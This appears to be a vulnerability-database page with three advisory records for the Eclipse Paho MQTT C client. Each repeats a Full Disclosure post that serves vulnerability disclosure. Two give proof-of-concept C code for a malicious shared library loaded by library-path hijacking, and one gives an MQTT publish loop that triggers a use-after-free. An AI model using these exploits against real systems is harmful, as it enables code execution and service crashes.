Search
Find a vulnerability
Search criteria
3 vulnerabilities found for Paho by unknown
GCVE-1988-2026-0174
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-08 07:25
VLAI
EPSS
VEX
Title
Paho v1.3.15 Arbitrary Code Execution via Shared Library Search Path Hijacking
Summary
*Description:*
Arbitrary code execution is possible in the MQTTVersion utility due to
uncontrolled loading of shared libraries using non-absolute paths. The
application invokes dlopen() with relative library names and relies on the
dynamic loader’s search path to resolve the target library. Because the
library origin is not restricted to trusted directories and no integrity or
authenticity checks are performed, an attacker can cause a malicious shared
object to be loaded and executed.This vulnerability occurs when the process
inherits a user-controlled library search path, such as through the
LD_LIBRARY_PATH environment variable. Under these conditions, an
attacker-supplied shared object with a matching library name will be loaded
instead of the legitimate library.
*Impact:*
An attacker can execute arbitrary code in the context of the user running
the MQTTVersion utility. If the utility is executed with elevated
privileges or within automated environments (e.g., CI/CD pipelines,
packaging systems, or administrative scripts), this vulnerability may
result in full system compromise.
*Affected Code:*
void* APILibrary = dlopen("libpaho-mqtt3c.so.1", RTLD_LAZY);
*Attack Scenario:*
1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1
in a directory they control.
2. The attacker modifies the runtime environment to include this
directory in the loader search path.
3. When the utility is executed, the malicious library is loaded and
attacker-controlled code executes.
*Proof of Concept (PoC):*
*Malicious Shared Object:*
// evil.c
#include <stdlib.h>
typedef struct {
const char* name;
const char* value;
} MQTTAsync_nameValue;
MQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {
system("echo RCE_FROM_SO");
static MQTTAsync_nameValue v[] = {
{"PWNED", "Function pointer executed"},
{NULL, NULL}
};
return v;
}
*Compile the malicious library:*
clang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1
*Exploitation:*
export LD_LIBRARY_PATH=$PWD
./MQTTVersion
*Output:*
MQTTVersion: print the version strings of an MQTT client library
Copyright (c) 2012, 2018 IBM Corp.
Specify a particular library name if it is not in the current directory, or
not executable on this platform
--- Trying library paho-mqtt3c ---
RCE_FROM_SO
PWNED: Function pointer executed
--- Trying library paho-mqtt3cs ---
Error loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1:
cannot open shared object file: No such file or directory
--- Trying library paho-mqtt3a ---
Error loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1:
cannot open shared object file: No such file or directory
--- Trying library paho-mqtt3as ---
Error loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1:
cannot open shared object file: No such file or directory
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Paho",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "*Description:*\nArbitrary code execution is possible in the MQTTVersion utility due to\nuncontrolled loading of shared libraries using non-absolute paths. The\napplication invokes dlopen() with relative library names and relies on the\ndynamic loader\u2019s search path to resolve the target library. Because the\nlibrary origin is not restricted to trusted directories and no integrity or\nauthenticity checks are performed, an attacker can cause a malicious shared\nobject to be loaded and executed.This vulnerability occurs when the process\ninherits a user-controlled library search path, such as through the\nLD_LIBRARY_PATH environment variable. Under these conditions, an\nattacker-supplied shared object with a matching library name will be loaded\ninstead of the legitimate library.\n\n*Impact:*\nAn attacker can execute arbitrary code in the context of the user running\nthe MQTTVersion utility. If the utility is executed with elevated\nprivileges or within automated environments (e.g., CI/CD pipelines,\npackaging systems, or administrative scripts), this vulnerability may\nresult in full system compromise.\n\n*Affected Code:*\nvoid* APILibrary = dlopen(\"libpaho-mqtt3c.so.1\", RTLD_LAZY);\n\n*Attack Scenario:*\n\n 1. An attacker places a malicious shared object named libpaho-mqtt3c.so.1\n in a directory they control.\n 2. The attacker modifies the runtime environment to include this\n directory in the loader search path.\n 3. When the utility is executed, the malicious library is loaded and\n attacker-controlled code executes.\n\n*Proof of Concept (PoC):*\n\n*Malicious Shared Object:*\n// evil.c\n#include \u003cstdlib.h\u003e\n\ntypedef struct {\n const char* name;\n const char* value;\n} MQTTAsync_nameValue;\n\nMQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {\n system(\"echo RCE_FROM_SO\");\n static MQTTAsync_nameValue v[] = {\n {\"PWNED\", \"Function pointer executed\"},\n {NULL, NULL}\n };\n return v;\n}\n\n*Compile the malicious library:*\nclang -shared -fPIC evil.c -o libpaho-mqtt3c.so.1\n\n*Exploitation:*\nexport LD_LIBRARY_PATH=$PWD\n./MQTTVersion\n\n*Output:*\nMQTTVersion: print the version strings of an MQTT client library\nCopyright (c) 2012, 2018 IBM Corp.\nSpecify a particular library name if it is not in the current directory, or\nnot executable on this platform\n--- Trying library paho-mqtt3c ---\nRCE_FROM_SO\nPWNED: Function pointer executed\n--- Trying library paho-mqtt3cs ---\nError loading library libpaho-mqtt3cs.so.1, error libpaho-mqtt3cs.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3a ---\nError loading library libpaho-mqtt3a.so.1, error libpaho-mqtt3a.so.1:\ncannot open shared object file: No such file or directory\n--- Trying library paho-mqtt3as ---\nError loading library libpaho-mqtt3as.so.1, error libpaho-mqtt3as.so.1:\ncannot open shared object file: No such file or directory\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:25:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/4"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/4"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/4"
],
"discovery": "EXTERNAL"
},
"title": "Paho v1.3.15 Arbitrary Code Execution via Shared Library Search Path Hijacking",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0174",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/4",
"automated": true,
"contentSha256": "f328761ce2b86b14048d9988042bbdc244b32c0e05c5947c489184368640aa26",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/4",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:45:53Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-08T07:25:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0174"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0175
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-08 07:25
VLAI
EPSS
VEX
Title
Paho v1.3.15 Arbitrary Code Execution via Untrusted Dynamic Library Execution
Summary
*Description:*
Arbitrary code execution is possible in the MQTTVersion utility due to
unsafe loading and execution of untrusted shared libraries. When a user
supplies a shared library path as a command-line argument, the application
loads the library using dlopen() and resolves an exported symbol using
dlsym(). The resolved function pointer is invoked directly without
validating the origin or trustworthiness of the loaded library and without
enforcing a security boundary. Because the supplied shared object is fully
attacker-controlled, an attacker may export the expected symbol and execute
arbitrary code when the function is invoked. This results in arbitrary code
execution in the context of the running process.
*Impact:*An attacker can execute arbitrary code with the privileges of the
user running the MQTTVersion utility by providing a crafted shared object.
This may result in command execution, data manipulation, or compromise of
the execution environment. The impact is significantly increased if the
utility is executed by privileged users or within automated tooling such as
CI/CD pipelines, packaging systems, or administrative scripts.
*Affected Code:*
func_address = dlsym(APILibrary, "MQTTAsync_getVersionInfo");
(*func_address)();
*Attack Scenario:*
1. An attacker creates a malicious shared object exporting the expected
symbol.
2. The attacker supplies the shared object path as a command-line
argument.
3. The utility loads the attacker-controlled library and invokes the
exported function.
4. Arbitrary attacker-controlled code executes in the context of the
process.
*Proof of Concept (PoC):*
*Malicious Shared Object:*
// evil.c
#include <stdlib.h>
typedef struct {
const char* name;
const char* value;
} MQTTAsync_nameValue;
MQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {
system("echo RCE_FROM_SO");
static MQTTAsync_nameValue v[] = {
{"PWNED", "Untrusted library executed"},
{NULL, NULL}
};
return v;
}
*Compile the malicious library:*
clang -shared -fPIC evil.c -o libevil.so
*Exploit:*
./MQTTVersion ./libevil.so
*Output:*
MQTTVersion: print the version strings of an MQTT client library
Copyright (c) 2012, 2018 IBM Corp.
RCE_FROM_SO
PWNED: Function pointer executed
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Paho",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "*Description:*\nArbitrary code execution is possible in the MQTTVersion utility due to\nunsafe loading and execution of untrusted shared libraries. When a user\nsupplies a shared library path as a command-line argument, the application\nloads the library using dlopen() and resolves an exported symbol using\ndlsym(). The resolved function pointer is invoked directly without\nvalidating the origin or trustworthiness of the loaded library and without\nenforcing a security boundary. Because the supplied shared object is fully\nattacker-controlled, an attacker may export the expected symbol and execute\narbitrary code when the function is invoked. This results in arbitrary code\nexecution in the context of the running process.\n\n\n*Impact:*An attacker can execute arbitrary code with the privileges of the\nuser running the MQTTVersion utility by providing a crafted shared object.\nThis may result in command execution, data manipulation, or compromise of\nthe execution environment. The impact is significantly increased if the\nutility is executed by privileged users or within automated tooling such as\nCI/CD pipelines, packaging systems, or administrative scripts.\n\n*Affected Code:*\nfunc_address = dlsym(APILibrary, \"MQTTAsync_getVersionInfo\");\n(*func_address)();\n\n*Attack Scenario:*\n\n 1. An attacker creates a malicious shared object exporting the expected\n symbol.\n 2. The attacker supplies the shared object path as a command-line\n argument.\n 3. The utility loads the attacker-controlled library and invokes the\n exported function.\n 4. Arbitrary attacker-controlled code executes in the context of the\n process.\n\n\n\n*Proof of Concept (PoC):*\n\n*Malicious Shared Object:*\n// evil.c\n#include \u003cstdlib.h\u003e\n\ntypedef struct {\n const char* name;\n const char* value;\n} MQTTAsync_nameValue;\n\nMQTTAsync_nameValue* MQTTAsync_getVersionInfo(void) {\n system(\"echo RCE_FROM_SO\");\n static MQTTAsync_nameValue v[] = {\n {\"PWNED\", \"Untrusted library executed\"},\n {NULL, NULL}\n };\n return v;\n}\n\n\n*Compile the malicious library:*\nclang -shared -fPIC evil.c -o libevil.so\n\n*Exploit:*\n./MQTTVersion ./libevil.so\n\n*Output:*\nMQTTVersion: print the version strings of an MQTT client library\nCopyright (c) 2012, 2018 IBM Corp.\nRCE_FROM_SO\nPWNED: Function pointer executed\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:25:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/12"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/12"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/12"
],
"discovery": "EXTERNAL"
},
"title": "Paho v1.3.15 Arbitrary Code Execution via Untrusted Dynamic Library Execution",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0175",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/12",
"automated": true,
"contentSha256": "9942f785b839d0e2c0ef3c6bb00a5956ab0743e6b038491cd68573c487b9fe85",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/12",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:46:35Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-08T07:25:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0175"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0176
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-08 07:25
VLAI
EPSS
VEX
Title
Paho v1.3.15 Heap Use-After-Free in Eclipse Paho MQTT C Client via Message Retry Logi
Summary
*Description:*
Eclipse Paho MQTT C Client contains a heap use-after-free vulnerability in
the synchronous MQTT client (libpaho-mqtt3c) when handling incoming PUBLISH
messages with retry semantics. When a user-supplied messageArrived()
callback frees the received message and returns 0 (indicating processing
failure and requesting retry), the library retains internal references to
the freed message and later reuses them during retry processing. This
results in a use-after-free inside the library, leading to a crash and
potential arbitrary code execution depending on heap state. The
vulnerability occurs because the library does not revalidate message
ownership or clone message data before reusing it on retry paths.
*Impact:*
An unauthenticated remote attacker capable of publishing messages to the
MQTT broker can trigger this vulnerability, resulting in:
* Denial of Service (crash)
* Potential Remote Code Execution, depending on heap layout and allocator
behavior
*Affected Component:*
- Library: Eclipse Paho MQTT C Client
- Module: libpaho-mqtt3c (synchronous client)
- File: src/MQTTClient.c
- Function: MQTTClient_run() (retry processing path)
*Attack Vector:*
- Remote / Network
- Triggered via MQTT PUBLISH packets
- No authentication required in common broker configurations
- No local access required
*Server:*
# mosquitto -p 1884 -v
—snip—
1768860860: Client auto-3592976F-BCF9-1EDF-2A8D-A28A40C30202 disconnected.
1768860860: Client asan-client closed its connection.
*Payload (attacker):*
# for i in {1..50}; do mosquitto_pub -h 127.0.0.1 -p 1884 -t uaf/test -q
1 -m "AAAA$i"; done
*Client:*export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
export UBSAN_OPTIONS=print_stacktrace=1
./MQTTClient_ASAN
[*] Creating client
[*] Connecting
[*] Subscribing
[*] Waiting for message (publish now!)
[!] messageArrived called
[!] returning 0 (retry path)
=================================================================
==179019==ERROR: AddressSanitizer: heap-use-after-free on address
0xfc2fa47e1b78 at pc 0xaaaac160cd98 bp 0xfbffa29fd270 sp 0xfbffa29fca60
READ of size 9 at 0xfc2fa47e1b78 thread T1
#0 0xaaaac160cd94 in strlen
(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x4cd94) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
#1 0xffffa5b298d8 in MQTTClient_run
/root/paho.mqtt.c/src/MQTTClient.c:911:9
#2 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
#3 0xffffa57cb9f0 in start_thread nptl/pthread_create.c:448:8
#4 0xffffa5836fc8 in thread_start
misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72
0xfc2fa47e1b78 is located 8 bytes inside of 32-byte region
[0xfc2fa47e1b70,0xfc2fa47e1b90)
freed by thread T1 here:
#0 0xaaaac169928c in free
(/root/paho.mqtt.c/build-asan/MQTTClient+0xd928c) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
#1 0xffffa5bd149c in myfree /root/paho.mqtt.c/src/Heap.c:285:4
#2 0xffffa5aff74c in MQTTClient_free
/root/paho.mqtt.c/src/MQTTClient_ASAN.c:659:2
#3 0xaaaac16dbf88 in messageArrived
/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:18:5
#4 0xffffa5b29fc4 in MQTTClient_run
/root/paho.mqtt.c/src/MQTTClient.c:917:10
#5 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
#6 0xffffa5836fc8 in thread_start
misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72
previously allocated by thread T1 here:
#0 0xaaaac1699520 in malloc
(/root/paho.mqtt.c/build-asan/uaf_trigger+0xd9520) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
#1 0xffffa5bd0a54 in mymalloc /root/paho.mqtt.c/src/Heap.c:201:16
#2 0xffffa5b504dc in readUTFlen
/root/paho.mqtt.c/src/MQTTPacket.c:395:18
#3 0xffffa5b4b460 in MQTTPacket_publish
/root/paho.mqtt.c/src/MQTTPacket.c:570:21
#4 0xffffa5b4d598 in MQTTPacket_Factory
/root/paho.mqtt.c/src/MQTTPacket.c:150:16
#5 0xffffa5b1e62c in MQTTClient_cycle
/root/paho.mqtt.c/src/MQTTClient.c:2648:12
#6 0xffffa5b284ac in MQTTClient_run
/root/paho.mqtt.c/src/MQTTClient.c:866:10
#7 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
#8 0xffffa5836fc8 in thread_start
misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72
Thread T1 created by T0 here:
#0 0xaaaac167d5ac in pthread_create
(/root/paho.mqtt.c/build-asan/uaf_trigger+0xbd5ac) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
#1 0xffffa5b92adc in Paho_thread_start
/root/paho.mqtt.c/src/Thread.c:79:6
#2 0xffffa5b244c0 in MQTTClient_connectURIVersion
/root/paho.mqtt.c/src/MQTTClient.c:1239:3
#3 0xffffa5b0efec in MQTTClient_connectURI
/root/paho.mqtt.c/src/MQTTClient.c:1731:8
#4 0xffffa5b0512c in MQTTClient_connectAll
/root/paho.mqtt.c/src/MQTTClient.c:1888:8
#5 0xffffa5b02ec0 in MQTTClient_connect
/root/paho.mqtt.c/src/MQTTClient.c:1759:13
#6 0xaaaac16dc1d8 in main
/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:38:5
#7 0xffffa5762598 in __libc_start_call_main
csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#8 0xffffa5762678 in __libc_start_main csu/../csu/libc-start.c:360:3
#9 0xaaaac15f542c in _start
(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x3542c) (BuildId:
c9767fc9bb455afea6b69b9de6409fc16c36a05a)
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Paho",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "*Description:*\nEclipse Paho MQTT C Client contains a heap use-after-free vulnerability in\nthe synchronous MQTT client (libpaho-mqtt3c) when handling incoming PUBLISH\nmessages with retry semantics. When a user-supplied messageArrived()\ncallback frees the received message and returns 0 (indicating processing\nfailure and requesting retry), the library retains internal references to\nthe freed message and later reuses them during retry processing. This\nresults in a use-after-free inside the library, leading to a crash and\npotential arbitrary code execution depending on heap state. The\nvulnerability occurs because the library does not revalidate message\nownership or clone message data before reusing it on retry paths.\n\n*Impact:*\nAn unauthenticated remote attacker capable of publishing messages to the\nMQTT broker can trigger this vulnerability, resulting in:\n* Denial of Service (crash)\n* Potential Remote Code Execution, depending on heap layout and allocator\nbehavior\n\n*Affected Component:*\n\n - Library: Eclipse Paho MQTT C Client\n - Module: libpaho-mqtt3c (synchronous client)\n - File: src/MQTTClient.c\n - Function: MQTTClient_run() (retry processing path)\n\n*Attack Vector:*\n\n - Remote / Network\n - Triggered via MQTT PUBLISH packets\n - No authentication required in common broker configurations\n - No local access required\n\n*Server:*\n# mosquitto -p 1884 -v\n\u2014snip\u2014\n\n1768860860: Client auto-3592976F-BCF9-1EDF-2A8D-A28A40C30202 disconnected.\n1768860860: Client asan-client closed its connection.\n\n*Payload (attacker):*\n\n# for i in {1..50}; do mosquitto_pub -h 127.0.0.1 -p 1884 -t uaf/test -q\n1 -m \"AAAA$i\"; done\n\n\n*Client:*export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0\nexport UBSAN_OPTIONS=print_stacktrace=1\n\n./MQTTClient_ASAN\n[*] Creating client\n[*] Connecting\n[*] Subscribing\n[*] Waiting for message (publish now!)\n[!] messageArrived called\n[!] returning 0 (retry path)\n=================================================================\n==179019==ERROR: AddressSanitizer: heap-use-after-free on address\n0xfc2fa47e1b78 at pc 0xaaaac160cd98 bp 0xfbffa29fd270 sp 0xfbffa29fca60\nREAD of size 9 at 0xfc2fa47e1b78 thread T1\n #0 0xaaaac160cd94 in strlen\n(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x4cd94) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5b298d8 in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:911:9\n #2 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n #3 0xffffa57cb9f0 in start_thread nptl/pthread_create.c:448:8\n #4 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\n0xfc2fa47e1b78 is located 8 bytes inside of 32-byte region\n[0xfc2fa47e1b70,0xfc2fa47e1b90)\nfreed by thread T1 here:\n #0 0xaaaac169928c in free\n(/root/paho.mqtt.c/build-asan/MQTTClient+0xd928c) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5bd149c in myfree /root/paho.mqtt.c/src/Heap.c:285:4\n #2 0xffffa5aff74c in MQTTClient_free\n/root/paho.mqtt.c/src/MQTTClient_ASAN.c:659:2\n #3 0xaaaac16dbf88 in messageArrived\n/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:18:5\n #4 0xffffa5b29fc4 in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:917:10\n #5 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n #6 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\npreviously allocated by thread T1 here:\n #0 0xaaaac1699520 in malloc\n(/root/paho.mqtt.c/build-asan/uaf_trigger+0xd9520) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5bd0a54 in mymalloc /root/paho.mqtt.c/src/Heap.c:201:16\n #2 0xffffa5b504dc in readUTFlen\n/root/paho.mqtt.c/src/MQTTPacket.c:395:18\n #3 0xffffa5b4b460 in MQTTPacket_publish\n/root/paho.mqtt.c/src/MQTTPacket.c:570:21\n #4 0xffffa5b4d598 in MQTTPacket_Factory\n/root/paho.mqtt.c/src/MQTTPacket.c:150:16\n #5 0xffffa5b1e62c in MQTTClient_cycle\n/root/paho.mqtt.c/src/MQTTClient.c:2648:12\n #6 0xffffa5b284ac in MQTTClient_run\n/root/paho.mqtt.c/src/MQTTClient.c:866:10\n #7 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o\n #8 0xffffa5836fc8 in thread_start\nmisc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72\n\nThread T1 created by T0 here:\n #0 0xaaaac167d5ac in pthread_create\n(/root/paho.mqtt.c/build-asan/uaf_trigger+0xbd5ac) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n #1 0xffffa5b92adc in Paho_thread_start\n/root/paho.mqtt.c/src/Thread.c:79:6\n #2 0xffffa5b244c0 in MQTTClient_connectURIVersion\n/root/paho.mqtt.c/src/MQTTClient.c:1239:3\n #3 0xffffa5b0efec in MQTTClient_connectURI\n/root/paho.mqtt.c/src/MQTTClient.c:1731:8\n #4 0xffffa5b0512c in MQTTClient_connectAll\n/root/paho.mqtt.c/src/MQTTClient.c:1888:8\n #5 0xffffa5b02ec0 in MQTTClient_connect\n/root/paho.mqtt.c/src/MQTTClient.c:1759:13\n #6 0xaaaac16dc1d8 in main\n/root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:38:5\n #7 0xffffa5762598 in __libc_start_call_main\ncsu/../sysdeps/nptl/libc_start_call_main.h:58:16\n #8 0xffffa5762678 in __libc_start_main csu/../csu/libc-start.c:360:3\n #9 0xaaaac15f542c in _start\n(/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x3542c) (BuildId:\nc9767fc9bb455afea6b69b9de6409fc16c36a05a)\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T07:25:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/13"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/13"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/13"
],
"discovery": "EXTERNAL"
},
"title": "Paho v1.3.15 Heap Use-After-Free in Eclipse Paho MQTT C Client via Message Retry Logi",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0176",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/13",
"automated": true,
"contentSha256": "7c39369d705198ae277a5070c4d46a28593d4c39e376b63ad98b72577202714f",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/13",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-30T23:47:08Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-08T07:25:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0176"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}